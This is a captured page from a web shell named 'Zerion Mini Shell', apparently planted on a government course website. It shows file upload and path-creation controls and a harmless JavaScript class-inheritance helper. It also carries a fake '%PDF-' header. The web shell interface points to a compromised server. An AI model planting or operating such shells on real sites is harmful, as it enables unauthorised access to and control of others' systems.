%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/class.js

kampfer.provide('Class');

kampfer.Class = function() {};

kampfer.Class.initializing = false;

kampfer.Class.extend = function(props) {
	var Class = function() {
		if(!kampfer.Class.initializing && this.initializer) {
			this.initializer.apply(this, arguments);
		}
	};

	kampfer.Class.initializing = true;
	// this === 构造函数。
	//能否直接使用this.prototype考虑使用this.prototype。
	var prototype = new this();
	kampfer.Class.initializing = false;

	prototype = kampfer.extend(prototype, props);

	Class.prototype = prototype;

	Class.prototype.constructor = Class;

	Class.superClass = this.prototype;

	Class.extend = kampfer.Class.extend;

	return Class;
};

Zerion Mini Shell 1.0